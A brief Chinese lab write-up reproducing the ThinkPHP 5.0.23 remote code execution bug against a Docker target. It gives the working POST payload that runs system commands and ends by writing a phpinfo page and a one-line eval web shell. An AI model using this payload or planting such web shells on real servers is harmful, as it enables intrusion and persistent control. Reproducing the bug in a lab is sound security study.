Thinkphp5.0.23 rce(远程代码执行)的漏洞复现
漏洞形成原因
- 框架介绍:
ThinkPHP是一款运用极广的PHP开发框架。 - 漏洞引入:
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
漏洞如何利用
- 1、访问靶机地址+端口号 进入首页
- 2、Burp抓包修改传参方式为Post,传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd",其中pwd为系统执行命令可进行一系列操作。
漏洞复现过程
- Kali docker 容器中启动此漏洞环境
 - 浏览器访问 Kali 的 ip 地址接上8080端口

- Burp抓包修改传参方式为Post,url后接入/index.php?s=captch,传入参数为"_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd"。
 
/index.php?s=captch
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
-
Burp Go   -
尝试写入phpinfo
echo "<?php phpinfo(); ?>" > info.php

- 成功!
 - 写入一句话
echo '<?php eval($_POST[aaa]); ?>' > shell.php

|